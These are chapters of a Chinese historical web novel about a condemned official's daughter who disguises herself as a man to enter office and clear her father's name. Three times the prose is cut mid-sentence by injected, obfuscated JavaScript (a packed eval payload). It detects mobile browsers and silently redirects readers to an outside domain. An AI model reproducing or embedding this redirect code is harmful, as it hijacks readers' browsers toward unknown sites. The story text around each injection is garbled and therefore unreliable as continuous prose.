《他山之宴》 1. 拦路者谁 新春才却，盛京雨未歇。 雨盛则生烟，蓑衣在势如倾盆的大雨前形同虚设，摧人衣裳，黏腻贴身。 亥时官道冷清，独一马车徐行，马夫牵缰绳的那只手冻得发硬，却不敢松懈半分劲头：里头坐着中丞御史张宪之张大人，倘使他一个趔趄让老爷摔了轿，这差事就算当到头了。 忽而，车身一顿，停在雨中。 恶鬼拦路，寸步难行。 马夫压抑不住嘴边惊呼：“大人，有人拦了车马去路。” 张宪之心生疑窦，抬起手掀起车帘探查。 雨幕之中，有一麻衣人匍匐在地。与其说是麻衣，倒不如说是一团烂布，青色外衫已被磨得褴褛破败，一圈圈裹在周身。 那人满头乌发皆为雨所浸湿，散乱地缠在脸上，遮蔽住面容。让人一时难辨，是痴傻的乞儿，还是乱葬岗里爬出来索命的厉鬼。 不及他反应，地上“厉鬼”猛地一个跪起，哑声呐喊，字字句句并落雨一起砸在青石板上。 “小民但求中丞大人一见！” “否则明日横尸府外，恐污了大人清名！” 寒光灼眼。 那人竟兀地从怀中掣出把匕首，狠狠朝自己大腿刺去！ 随刃而出，鲜血顿时顺麻布的纹理洇开，融进敲在石板路上的雨水里，晕开一片刺目嫣红。 腿上一阵刺痛，那人蜷起身子，声音连带着颤抖起来： “小民但求中丞大人一见！” 轿夫勒马错愕，实进退两难。连他一介马夫都晓得，老爷素来为官清正，人品贵重，何以有冤民如此相逼。 “住手！” 车帘翻飞，竟是张宪之起身冲入雨中，无咎官仪，俯身扑向眼前那团东西，任一袭锦袍为雨血所污。 他拨开那人脸上纠缠在一起的乱发，指节震颤。 那是一张过分年轻的脸，唇色并脸色都白得并无生机，一双眸子却清亮见底。见张宪之，那人反而生扯出一个笑，任血水与雨水交织在一起，染得雾气也沾染猩气。 怀中玉坠信手而出，敲落雨中。 张宪之瞳孔骤缩，一把拾起那坠子，纳入袖中，转头厉声喝道：“去唤府医！”雨水顺官帽滴落，于石板上溅起，"角门入，噤声！" 那车夫脑中一片混沌，身体却懂得先行，撒腿便向中丞府跑去。 凄风苦雨中，张宪之只将那具身躯半拖半抱了起来，怀中人轻得如一捧枯骨，他听见自己心如擂鼓： “何苦…至此呢” 那人只笑，气若游丝，声如裂瓷。 “世伯，好久不见。” 中丞府的角门开了又阖，将风声雨声都隔绝在外。府医得了严令，早已候在偏厢，小心卷了那亡命徒褴褛裤管，施药止血，细细包扎。 张宪之立于一旁，目光沉沉落于那人缄默的脸上，终也是无言可发。待府医缠好最后一圈纱布，他才缓缓点头，独自踱入廊下，复又辗转进了书房。 檐角滴水渐疏，他褪下为血所污的官袍，枯坐椅中，案头烛火在穿堂风里明灭不定。 掌心玉质温热，篆刻龙首，于烛火下润泽生光，恰如当年。 二十余载，不过弹指一瞬。 他也曾少年求学，拜师问道，言‘士为知己者死’，家中所传玉龙坠，若能觅得知己之士，愿拱手相奉。 后来及第，鲜衣怒马，他跪在文庙前，誓要扫清御宇，见天下河清海晏。 身侧并跪了一人，朗目弯弯，含笑轻声问他道：“宪之兄，可信我否？” 士为知己者死，知己之士，名叫陆勉。 漆目中一点风华日月，清晰映着他的影子。 夜风撩动烛火摇。 手中玉触然生温，眼前景却骤然翻覆，变幻成了江南漫天风雪。原本身侧那人面容枯槁，囚衣加身。一双清亮的眼化作竭泽，再映不出他张宪之半点身影。 隆裕七年，漕运改制。两江巡抚陆勉，贪墨工事官银，于账目上刻意构陷，掩人耳目，判处死罪，自戕于昭狱之中。 家眷没入奴籍，流放向北境云洲，尸骨无存。 书房之中，风如泣诉。 窗外更漏声断，蓦地，张宪之盯向屏风： “既求一见，何故藏身？” 话音未落，屏风后就跪出一道人影，大腿伤处新裹的纱布不再渗血，整个人却还泛着冷雨天的潮气，那人只将头抵地，似恨不能将眼前人跪穿。 “多谢世伯相救。” 张宪之闻言，却一掌击向书案，任凭怒意勃发： “陆家的丫头！你好大的胆子！扮作这般模样拦我的轿，怎知我不会锁了你，扔去诏狱，好将自己撇的一干二净？” 刑部档案，白纸黑字，陆氏女殁于天寒路险，尸骨无存。 一别生死两茫茫，昔日英娥，今日修罗。 地上人终于抬起头。 河边乱坟堆里爬起后，飘零三年，她几乎快忘了自己还能被人喊一声“丫头”。 从来惯扮作男儿身，此刻亦然。湿发悉数挽起作男子发髻，烛火掩映之下，仍脸色苍白。轮廓挺拔，眉目英朗，实叫人难辨雌雄，只凭装束与嗓音默认她为一个清俊小倌。 “世伯若真欲拿我邀功，方才就不会接应我入府，而是会唤来巡夜之人。” 她嗓音沙哑，却字字咬得真切， “世伯莫要再试，我已是亡命徒，别无靠山。父亲临终所托，夙夜之间，如何敢忘，世伯并非今日我所倚仗之人，实是…父亲所倚仗之人。” 张宪之再看不真切眼前人的面容，只觉得那双眉目要将自己洞穿：“你父…你是指望我替你父陆勉翻案？” 陆知微迎上他的目光，眼前站着的人已褪去素日稳重自持的神色，恍然一具枯骨，茕茕孑立。 她忽又觉喉头翻涌一阵腥甜，却只是俯身，额角触及地面，发出沉重一响：“漕运改制，乃世伯在京主推。当年改制叫停，父亲查出工事银遭人贪墨，递成折子陈情。然折子被截，贪墨亏空，皆被栽于他一身，构陷成死罪！家父一心为民，两袖清清，世伯并非不知。” 话音未落，她已摸索着，从怀中贴身处，掏出一块叠得齐整的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126184|180062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绢纸，边缘已被磨损得失了形状。 “母亲临终前告知…她已将父亲所陈奏折副本缝入我儿时襁褓之中。” 临终…张宪之喉头一哽。 昔年扫眉才子，言笑晏晏，常执笔如刀，与他二人比经试帖，他竟不知沈令殊最后光景是何等模样。 总不过，无家无冢，一具河边骨。 陆知微双手颤颤，展开那绢纸，洇陈墨迹，依稀可辨是奏疏规制：“辗转飘零，所幸终寻得此物。今日，知微愿拱手奉上，凭世伯驱策。” 张宪之已僵在原地，他本不想失态，可烛火生烟，无故地就熏了眼睛，水痕蜿蜒而下，是泪是雨，无人再作分辨。 “你难道不知…你父被污，我作壁上观。他早已同我恩断义绝？” 世间事并非皆是佳话。 他自知存身方能立身。陆勉入狱后，曾与张宪之修书一封，字字诛心，呵斥他薄情寡义不念旧情。于是往后日夜，再想找旧友论经砭政，除却梦中，别无他所。 陆知微却抬头，看眼前人神色如何翻涌，只容色如常，沉声道：“我非只寻见了襁褓中副本，亦寻得父亲小心藏起的玉坠。世伯，家父或许怨您沉默，却从未背弃当年情谊。今日自伤，是以此身为凭，赌父亲未看错知己，” 她唇角扯出一丝浅淡的笑，不达眼底，“见世伯的反应，便知…我赌对了。” 窗外雨渐歇，风逼得檐角铜铃翻飞，一串作响。 书房内只余烛芯哔剥。 张宪之似被抽干了力气，颓然坐回椅中。良久，方低声开口，声音明灭如同烛火：“你流落异乡，难善己身，却来寻我呈上此物，必是有所求。” 陆知微垂眸，并未言语。 “你父陆勉，于我有恩，兼有知己之谊。你既有求，我自当倾力相助。其一，陆知微已死，我可为你另造身份，远避纷争，保你一生平安。其二，漕运旧案，亦是我心头之患。然此证物实单薄…” “证物单薄，贸然呈堂，只会引火烧身。然，以不义事结朋党者，不得以长久。因利而聚，亦必因利而争，因势而衰。” 陆知微仍低垂眉目，接过张宪之悬而又止的话， “此物之用，在于静待时机——待其朋党倾轧，势力衰微，根基动摇之际，再以此为刃，给予致命一击。” 张宪之目光微愕，纵知眼前人通经晓文，实不过一介流亡孤女，何来此等心性谋算？ 然那跪地之人似还有未竟之言，再一俯身，对着他重重拜了下去：“世伯明鉴，苟全性命，旁观因果，并非知微所愿。” 非她所愿？ “你不是来求我庇护，替你父翻案的吗？我方才所言，正为如此啊。”张宪之俯身向前，将烛火映在陆知微脸前，沉声问。 地上人终于抬起头，灯芯一线，勾出她半边苍白的轮廓。 “知微但求一愿，然此愿险阻，胜过万千。帮与不帮，全在世伯。” 她深吸口气，压下喉头翻涌血气。眼底映着的烛火飘摇，明明灭灭，未有熄时。 “请世伯，助我入朝为官！” 2. 助你…为官？！ 廊外风雨潇潇，未有尽时。 灯烛摇影，堪堪映亮跪地之人半边身子。 张宪之从椅中起身，睨起一双眼，看面前人如何轻轻落下这般荒唐言语。 “助你…入朝为官？”他声音低沉，字字切齿而出。 陆知微仍跪得笔直，仿佛腿上无有新伤。湿发贴在鬓边，越衬得面白如纸，一双眼平定地穿透摇曳着的灯火，无有退缩，无有哀求。 一股强烈的怒意忽翻涌起，几乎要冲破张宪之的喉咙。 她捡回一条命，扮成拦路鬼的模样，还他玉坠信物，又拱手献上这沉甸甸的奏折副本，原是为了逼他至此？还是自作主张地，欲报他当年明哲保身之仇？ “陆知微！”他横眉冷目，厉声喝问，“你可是在戏弄于我？将生死之事，视作儿戏狂言？” 烛火曳动，在青砖上长长投下两道影，一个立如孤峦，一个立跪作磐石，无声相峙。 “已死之人，岂敢戏弄世伯？” 陆知微只轻摇了摇头，声音沙哑却分外清晰，“若为儿戏狂言，何苦自刺股血拦轿？何苦背负‘死而复生’之险，持此抄本千里来投？知微虽非经世之才，然幼承庭训，通读经史，亦可算十年寒窗。家父在世，常与母亲议论时务，我侍立一旁，亦耳濡目染，略晓一二。此心此志，绝非空谈。” 见张宪之眼底怒意虽未消，神色却缓了下来，陆知微闭上双眼，缄默片刻，又重新抬眸看向他： “世伯，知微深知，当年构陷之举，绝非一人所为。其一，账目掺假，非深谙钱粮运作之吏不能为，是以户部工部，必有深藏其中者。其二，工事银贪墨，地方官员若无勾结包庇，如何能成？其三，京官与地方之间，必有居中联络、协调动作之人，此乃个中枢纽。其四，能神不知鬼不觉截下直达天听的陈情折子……这背后，绝非寻常达官勋贵，必是权势滔天，盘根错节之巨擘！” 她深抽了口气，又沉下声道：“与如此林立朋党为敌，必然惹祸上身。世伯为官经年，位高权重，牵一发而动全身。可陆知微所行的路，本就是一条绝路，自愿为刀俎。伤己，总好过…过分牵连。” 张宪之攥紧了手心玉坠。这般条缕分析，直指要害，陆勉与沈令殊，竟将女儿教养至此…他一时找不到言语形容，只觉心头一阵翻涌。 他启了启唇，只一声轻叹：“若你是男儿郎，兼有此等心志。大昭布衣勘定粗疏，我自可为你寻一寒门身份，举荐你科考入仕。” 话锋一陡转，却如雷霆千钧， “可陆知微，你当那金銮殿是什么地方，梨园戏台吗？！纵可扮作男子，然稍有差池，便是欺君大祸。单是验身，便无法可避，更遑论日后立于朝堂，同僚起居，处处皆是破绽！此非智勇可解，乃是铁律天堑。血肉之躯，如何逾越？！” 回应他的，是陆知微嘴角的轻笑。她眼无惧色，不再言语，只是左手猛地抓住右肩褴褛的衣襟，狠狠向下一扯。 “放肆！” 张宪之脸色骤变，正欲斥她一界女子不知非礼勿视。却看见包裹于素白中衣下的，并非预想中的柔软肌肤。 层叠的缠胸麻布被雨浸泡发硬，勒出淤痕。经年累月，共皮肉同生。 “依世伯所言，重重隔阻，只余男女之别了？” 陆知微声音平缓，似在诉说旁人之事： “我本是该死之人。蒙青天不弃，押解吏见我昏死，怕生了疫病草草抛尸，是故得以从滩涂乱葬岗处醒来。自那日起，陆知微已死，活下来的，是一个无名无姓，挣扎求存的男子。街头巷尾的破庙，漕帮船上的苦力堆……何处不可容身？何处不需以男子身份活命？此间，并无人识破。便是方才府中那位医者，近身包扎，亦未觉异常。这层‘皮’……早已与我骨血相连，难分彼此。” 张宪之看着她身上那青紫瘀痕，只觉得一股寒意从脚底直窜头顶，堵在喉间的怒斥再也无法出口。 他向后一踉跄，扶住书案，却看见眼前人已拢好衣襟，言辞振振。 “世伯，我欲为官，一则，欲以官身撬动大树，好翻旧案，使父母不至含恨九泉。二则…” 她忽似真心疑惑而求教，看向张宪之， “世伯，知微不懂。为何这大昭朝堂之上，为官者，趋利而往，中饱私囊，信手旁观者弹冠相庆，而心向民者却落不得一个好下场。三年摸爬滚打，我自觉尝遍世态炎凉，可所到之处，处境连我尚且不如者，比比皆是，数不胜数！” “知微以为，能广济天下者，莫过官身。世伯，吾父之冤，岂在一人一家之痛。虽不敢肖想立丰功伟业，但愿以此身，多蔽一寸风雨，多听得几句无处可发的哭声。” 夜风湿冷，拂袖而过。 张宪之怔怔看着陆知微的眼睛。 那双眼清亮如秋池，映着跃动烛火，还映着一个人影。 是他自己。 “科举正途，验身极严，绝无可能。然…并非全无他法。” 张宪之听见自己的声音，干涩出口，飘忽不定，“科举三年一试，其间官位变动悬缺。上为求非常之才，特开‘制科’，可由京中三品及以上大员察举保荐，堂考策问，若有优异者，便可直授缺职。虽非常例，却可绕过州府县试层层验看，只简单验身。此中关节，尚有转圜余地。” 他顿了顿，将袖中玉坠轻置于案上：“我会举荐门下一位身份清白，才学出众的寒门学生，参加此次制科。若有纰漏闪失，须一口咬死，扮作男子是你一人所为。” 陆知微浑身一僵，又俯下身，数不清今夜已叩了几回首：“学生…谢老师知遇之恩。” “制科虽免常试，却非旁门左道。笔试明经，堂试策问，参试者皆为世家子弟中饱学鸿儒者，我亦无权左右分毫。能否搏得青眼，入此门中，全在你自己，若连这点机会都抓不住…” “学生明白。” 陆知微应得决绝，沉默片刻，又哑声道， “学生无名无姓，此身此命乃老师所赐，求老师…赐名。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126185|180062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 张宪之垂眸思忖良久，才道：“晏者，天清也。士子所求，不过海晏河清。想来你是不愿随他人姓，便跟你母亲姓沈吧，你往后，就叫沈晏。” 她阖眼称是。 “沈晏…” 名字在唇齿间划过，牵她潸然。 她也曾有一双父母爱重，唤她微微，教她如何立心守志，如何通经济纶；也曾于闺阁之时，幻想着那些天高水阔的，暗暗希冀要这样过完一生。 世事漫随流水，算来一梦浮生。 陆知微其人，已被匆匆埋葬，她的冢在云州，在母亲身旁。 从此往后，她便去做沈晏。 残雨敲新叶，廊檐珠玉断，一连数日。 青篷马车驶入盛京城南的一处小院，苔绿映阶，院落虽小，倒也算清幽。 车里走下来一个束发青衫的青年，步履端方，真似个清寒苦读的书生。 “我无甚别产，此间算一处。”张宪之在她身后下车，环顾四处，“若非执意入那虎狼之地，此院便是我原定让你安然度日之处。” 然沈晏却深深一揖，姿态恭谨：“老师再造之恩，学生铭感五内，无以为报。” 张宪之沉默片刻，目光掠过眼前人清逸却难掩憔悴的脸，只轻叹一声：“罢了，既为师者，解惑是本分，无需你报。” 他似想起了什么，又蹙起眉头：“只是你如今身份，年过弱冠，又无家室相伴。若本就是男子，潜心学问，旁人至多道一句清高孤介，无伤大雅。然你终究……长此以往，恐惹人疑窦，风言风语亦是麻烦。” 沈晏闻言，眉目依旧顺垂，声音却清晰平稳：“老师所虑极是。学生已物色一人，欲娶之充作家室。” “何人？” “缚月楼一位歌女。” 张宪之眉头又锁：“歌女？此等身份？” “学生亦是无父无家之人，既不纳采又不问名，身份于己身，并无有挂碍。”沈晏答道，语气平静，却带着不容置疑的笃定，“学生流落江湖时便知，鱼龙混杂之地，消息灵通远胜官驿。三教九流汇聚之所，更是如此。” 她竖起手指，数着桩桩件件， “其一，歌女身世简单，无根无绊，易掌控亦易脱身；其二，坊间若起流言，更可吸引旁人眼光，为我扮男子之事遮掩一二。其三…” 她曾听闻，缚月楼歌女秋娘因不甘嫁予老叟做姬妾，竟活活绝食五日。好奇探查一番，旁人论及此女，最常耳闻的竟是“身为下贱，心气过高”。 然远远见了一面，沈晏却只看见一个蹲坐台阶之上，双眼欲洞穿廊外繁华的年轻女子。 “其三，她心性未泯，观其言行，似非甘于沉沦之辈。这样的人，或可利用，或……” 或值得一个更好的天地，是吗？ 张宪之凝视着沈晏，欲看穿她无波眼底埋下的所有算计与恻隐。最终，却也只挥了挥手：“罢了，既筹谋至此，便放手去做。只是，谋局者如执炬，逆风，则烧手啊。” 3. 雪下花前美娇娘 隆佑十年，仲春月，盛京竟落了大雪。 秋娘从未见过京城的雪，今日见了，也算了却一桩小小的心愿。缚月楼白日里不似夜间门庭喧闹，她便能偷来片刻闲暇，蹲坐在门廊下看那些纷纷扬扬的雪。 雪花真好看，她得瞧仔细些，可想到自己多半要将这年月都蹉跎在这方寸楼宇间，直至老死，连骸骨都得捐尽最后一丝气力，埋在这里，她便无法不生出一份悲愤来。秋娘自认是个贪心鬼，天地之大，她想将这世间好看之物看个遍，眼前雪景，便算其一。 看着看着，她却发觉，这方寸天地间最入她眼的，竟不是雪了。 “叨扰姑娘了，” 有声音于廊下响起，略带沙哑，却仍生一派缱绻意，“敢问姑娘芳名？” 那人语毕一笑，露出一排洁白齐整的牙，与一袭天青长袍互衬风流，皎皎如朗月。 秋娘一时看呆了，怔怔地又望了那人两眼。今日是什么运道？先是见了生平从未见的盛京大雪，接着又遇上了她此生所见最俊俏的公子。 她只听见自己呆愣愣地答道：“我叫秋娘，殷秋娘。” 顿了顿，觉得不够，又补了一句：“秋娘是他们安给我的名，但我还记得，我姓殷！旁人若是问我叫什么，我总说殷秋娘。起先他们都不许，后来拦不住，也就由着我去了。” 那公子听了，笑容愈发灿烂，眉目间一派和煦暖意，融融地化入雪幕之中。 “在下记住了。”他声音温和，“请问这位殷秋娘姑娘，可曾有什么相好的？” 秋娘摇了摇头，顺势站起身来，信手展了展身上的秋香色小袄，起身才发觉，这位公子身量竟不及寻常男子高，且不知是受伤还是有疾，站立行步间似有难以察觉的滞涩，着实令她掠过一丝惋惜。 “不曾。那些公子哥儿来了又去了，不过哗啦啦一阵风响。我们是陪笑的，心里也未必高兴，哪谈得上什么相好？” 她思忖片刻，忽而生出一阵狐疑，抬眼看向对方， “不过，先前有个皱巴巴的老头子，说是有官的，九品的保义郎，要买我做姬妾。我不愿意，哭天抢地绝食了五日，这才作罢。我是看公子面善才同你攀谈，若是也来说这等折辱人的亲事，还请回吧。” 那人却急忙摆手：“姑娘莫要误会。”他舒展着漂亮的眉眼，目光殷切，“在下想为姑娘赎身，算姑娘欠我一个人情，如何？” 落雪簌簌。 殷秋娘几乎不敢相信自己的耳朵。 她见过这世间的各色人物，深知那些忽然掏出金银、招手让你过去的人，所求的回报只会百倍千倍。 可不知为何，许是盛京的雪飘飘然落到心尖上再化成水，勾得她对这秦楼楚馆外的一番天地生出难耐的痒意；又许是眼前这位漂亮公子实在面善，而她偏又信了自己那点古怪的直觉。 鬼使神差地，她点了点头。 “好。” 话出口，她才想起什么，追问道：“我还未问你呢，你叫什么名字？” 那人脸上和煦的笑意却敛去了，神色变得极为认真，目光沉沉迎上她一双眼。 “沈晏。” “在下名叫沈晏。” “喂——” “你说的那个人情，我究竟该怎么还你？” 秋娘同沈晏并肩，二人前胸后背皆挂满秋香色的包袱，穿梭于十里长街的车水马龙中，频频引得游人目光。 “缚月楼虽是个千坏万坏的地方，偏偏有一点还算差强人意：哪怕有赎身买卖者，无论价高价低，总要我们这些姑娘点了头才算作数。” 她将字咬得越来越重，生怕对面人听不出自己是在敲打，“沈公子这样的人物，总不会真瞧上我这蒲柳之姿了吧？” 沈晏却未接茬，待两人驮着包袱又穿过两道巷口——已有好事者打问起这双缚月楼出来的男女姓甚名谁籍贯何处时，才施施然开了口： “我欲迎殷秋娘姑娘过门为妻。” 语毕，面不改色，步不虚行，端得是一派淡泊之态。 沈晏神色平常，秋娘却暴起。 她似被戳中了某处，猛地扯住沈晏一双袖口：“你不会以为：你生的好，又赎了我的身，我一个卖过笑的贱籍女，就合该感恩戴德谢天谢地做你的妻，为你洗衣炊饭、端茶倒水，再生儿育女，事事以你为纲吧？” 沈晏没料到秋娘会突然激烈地一连串发问，却也实在佩服她如此自矜，只轻轻扯了扯，将袖子从她手中拽下来。 “姑娘有这样的心性，在下适才心悦诚服。不过姑娘误会——某欲同姑娘所议，并非寻常婚嫁，实乃一桩生意。” 秋娘愣了愣。 生意？ “此事说来话长，然姑娘若为我妻，我不求你端茶倒水，更不求你生儿育女。只需让天下人人皆知，沈晏有殷秋娘为妻。姑娘平日或有劳心之处，或随我见些不想见的人，说些不想说的话，我自会以月为期，另付薪金。沈晏虽做不来大富大贵之人，却也定不教姑娘无故受累。” 见她神色已然松动，沈晏又补充道： “另有一则，我观姑娘于回廊之上，托为看雪，实为看这世间百态繁华。天大地大，沈某不想困住这样一个女子。此议，只限三年。若三年揭过，姑娘另有想去之处，沈某定倾力相助。” 秋娘就那样看着沈晏滑落的衣袖，眼底忽而升起徐徐水波。 雪仍在下，将二人鬓发都染上飞白。 片刻，她问：“你说得这些，可都当真？” “千真万确，姑娘可与我画押作保，收于妆奁。” “为何是我…” 沈晏闻言，略俯身去瞧她，风雪摧折眉睫，使秋娘一张脸无端生艳，却仍看出稚气犹存。她此刻也如是盯着沈晏，执拗得似要从她眼底洞穿一切。 “因为姑娘也帮了我呀。” 风雪不止，飘摇着洇湿在眉间。 “更何况，见姑娘一个人蹲着仔细看雪的样子，沈某觉得，你合该是如此。” 盛京从不缺新鲜事。 城北于大人家的公子因买卖侍妾而失手闹出人命；城东有人一夜家中悉被灭口，却因凶犯潜逃无踪而冤状无法可诉的……诸如此类，层出不穷。 除却此般，才子佳人的风月事，更是隔三差五便添一桩，才不久便有新谈资为人称道—— 说的是不知哪位大员的门生进京投官，只一眼便相中了缚月楼的貌美歌妓秋娘，顿时轰轰烈烈非卿不娶，凑了银子给那姑娘赎了身，迎为妻室。 只此还不够呢，先前有个地头小官欲纳那秋娘为一美妾未果，便四散秋娘有脏病染身。那青年为妻挣气，竟上门讨要说法，出言不逊，双方不知怎的就天昏地暗打在了一处，顾及着那青年师长，下手才轻了些。 张宪之推了院门，看榻上之人如何裹一身伤布，无奈叹气连连。 “你父陆勉于我有恩，兼有知己之谊，我见你心如磐石不肯改志。是故于情于理，都会相助于你。可……” 他喉头滚动，咽下未出口的半句。 “我行此事，并非为了殷秋娘，实是为日后考校所费的一番心思。”沈晏生扯出一个微笑，“我与她皆是无根浮萍，结亲时我只分了些点心与街坊，又托言为老师的清誉挽留了几分，现在人人都只道我是个情痴，不会牵累老师名节。” “我岂是担心这个！阿晏啊，我知你有所筹谋，然‘保全自身’四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126186|180062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字，须时时刻刻谨记。莫要像…” “老师教诲，学生谨记。只是…”沈晏接过他未竟的话，低声说，“学生每每思及父亲，难免多想一层，学生有惑：若成事者不能保全，保全者无法成事，又当何为？” 张宪之与榻上之人四目相接，静默良久。 半晌，他才缓缓开口道： “阿晏…你且歇息吧。我只纠正你一件，今日来此，绝非兴师问罪。若执着于那半点虚名，也枉费你叫我一声老师。” 眼中关切，不似作伪。 沈晏微微颔首：“学生明白了，谢老师体恤。” 张宪之先脚踩着门槛出去，秋娘就一阵烟似得溜了进来。 出了缚月楼后，秋娘一并搬进城南小院，不过与沈晏分居二室，互不干扰。 “我没有故意听墙角！”她边说着，边飞快地将一盅酥酪搁在榻上，“不过，哪怕你做那些不全是为了我，我也得谢你。” 沈晏想摆手说无事，却未收住力，牵动了皮肉带着筋骨，疼得抽气。 秋娘刚见气氛些许缓和，神秘秘将头凑近了些，低低道： “不过，你这人，对自己也忒狠了些。话说…我那日便见你身型较寻常男子单薄了些，又要专门娶个老婆供着。莫非，是传说中的龙阳之好，断袖之癖？！” 她刚凑近，又发觉沈晏表情有些古怪，想是伤口还作痛，便急急忙要去端药来。 “殷秋娘姑娘，我同你一样，是女子。” 秋娘将起未起的动作被一下劈定在床沿上。 她一顿一顿地转过头来，将沈晏自上而下再自下而上地扫视一番，错愕惊诧毫无顾忌地一通倾斜而出。 “你…你…是女子？” 一个没拿稳，手中药包几乎要砸落在地。 “我是女子。” 秋娘不说话了，只盯着沈晏，似乎要把她这具皮囊看穿。 榻上之人面容英挺，可轮廓却比寻常男子柔和；声色低沉，可总夹杂一丝沙哑在里头，如此合计，倒有可能是故意而为。 “莫怕，我扮男装，实不得已而为之。”沈晏看着面前人，哑声道，“你我契约，始终不变。” “契约？”秋娘跳了起来，“你既说同我做生意，何故欺瞒？” “这算不得欺瞒，我并未说过我不是女子。”沈晏半阖上眼，不去看秋娘面上如何精彩，“你若允了，才算上了这条贼船。若不允，安敢奉告？” 她顿了顿，又压低声音道：“殷秋娘姑娘，若你真心不愿同我做完这生意，这个人情，改日再还也罢。 榻边传来一阵细微动静。秋娘坐回床边，却未接沈晏的话，只问她：“你扮男子，可是要做什么大事？” 沈晏睁开眼，看向塌边之人，缓缓点了点头：“我想做官。” 真是疯了。 秋娘抿了抿嘴：“若你被发现，我将如何？” 沈晏叹了口气，目无定焦投向床尾：“我自当竭尽所能保你平安，然…” 然人力有尽时，命数常难测。 “我答应你。” 秋娘深吸一口气，看着榻上之人一点点瞪大的眼睛，“我这个人极爱凑热闹，眼前有一桩天大的热闹，若凑不得，反而可惜了。” 她别过头，静静盯着还未脱手的药包，小声道：“从前有个算命的拈了我的生辰，解了半天，却说是‘飞蛾扑火’的命数。眼下…才知道扑得是哪门子的火。” 沈晏张了张嘴，却觉得喉间一片干涩，半晌才挤出一句：“多谢……” 秋娘还是不接她的岔，只拆着手中药包，忽地，她转过脸，一双杏眼瞪着沈晏：“不过，你这官，究竟该如何当啊？” 4. 弱柳扶风痴情郎 官自然不可白做。 铜镜映出个人影，容色仍苍白。 沈晏信手妥帖抚平衣襟。腿伤虽已养好大半，行走无碍。然先前同人大打出手，皮肉筋骨还抽连着隐隐作痛。 她蹙眉，深吸口气，将痛楚悉尽压了下去。 光影微动，铜镜映出另一双眼，溜圆如新杏，正往里窥探。 沈晏手上动作未停，唇边却掠过一抹轻笑：“若这般好奇，实无需躲着藏着，光明正大地看便是。” 门后秋娘‘呀’了一声，闪了出来：“今日收拾如此齐整，便是要赴那制科之试了？” 沈晏点点头。 朝廷特开此科，绕过重重选拔道道栽培，不授清衔，而授实职，所求必是非常之才。再者，大员保荐，勾连的多是世家子，世家子背后又通着世家，个中关窍，可想而知。 她心中微动，面上却未显，只隔着镜子看着身侧的秋娘：“今日须先至吏部验身核籍，再笔试经史子集，合规者方能堂试策问。” 秋娘闻言，眼更睁圆了些，转过身盯着沈晏侧脸：“验身…女扮男儿，当真能行吗…” 沈晏也转过脸，冲她苦笑：“验看有无残疾，并不甚严苛。我若寻个理由不宽衣，吏目顾忌着保举我之人，未尝不会应允。” 秋娘略一颔首，又突然想起什么，问道：“可若如此，不会教人生疑？” “不错。”沈晏冲她一扬眉，揽起衣袖，“是故若不想使人过分浮想，最好制造些乱子，教人觉得不细验比细验更合情理。” 秋娘眼睛转了个圈，又细细打量起眼前人：“说起来，我先前真以为你是个清俊郎君，也算中了‘骗术’之人，这容貌上嘛，我倒看出了点门道。” “这儿描得粗了些，又粘了些须。”她虚点着沈晏的眉毛。 “这儿刮出了折角，显得人硬朗些。”指尖滑过沈晏鬓角。 “这儿涂了深色脂粉，由是轮廓更深。”目光落于沈晏的颧骨下颌处。 “加之你本就生得俊秀，扮做男子装束，一时着实难辨。”秋娘又退后半步细看，“然这声音，怎生如此沉哑？莫不是天生的？” “岂会天生。” 沈晏转过身来，笑意掺了些无奈，“热性草药，久服可致喉痹，说话时再刻意气沉丹田，是故听着如同男子。” 从前不知此法，她便只能缄默，充作哑奴。 秋娘恍然大悟，连连点头，目光又悄然下移三寸，小声道：“那这胸口？” 她顺势比划了一下。 “布帛紧束，些许不适，忍忍便好。非但如此——”沈晏侧身，抬手拍了拍腰际，“这身板直筒筒一条，全靠软甲护腰撑着。早年流落，不过粗布裹缠。” 秋娘下意识捂着腰，抽了口气：“难怪！你走路之时，腰杆挺得那般直…” 沈晏似要彻底打消了她的疑虑，索性抬手勾住中衣领，向旁侧扯开个缝隙，露出一块微微凸起、与颈下皮肤颜色无二，状似喉结之物。 “蜡做的，如何？冬日不易融，夏日须勤换。只需将衣领做得高些，孰人辨得出真伪。” 秋娘看得目瞪口呆，半晌才叹道：“只道那替父从军的木兰是戏文里才有的人物…此番上的不是沙场，竟也浑身甲胄…实在苦了你了。” “若无此甲胄，已是冢中一具枯骨，何谈苦楚呢。”沈晏垂眸，声并入渐亮的天光，手上利落将衣领拢好。“时辰不早了，吏部这一关，总得去闯。” 铜鉴映天光，亦映出她最后的身影。 长衫磊落，眉目英朗，再无半分旁人的影子。 青天白日，高悬于顶，亦如寒鉴。 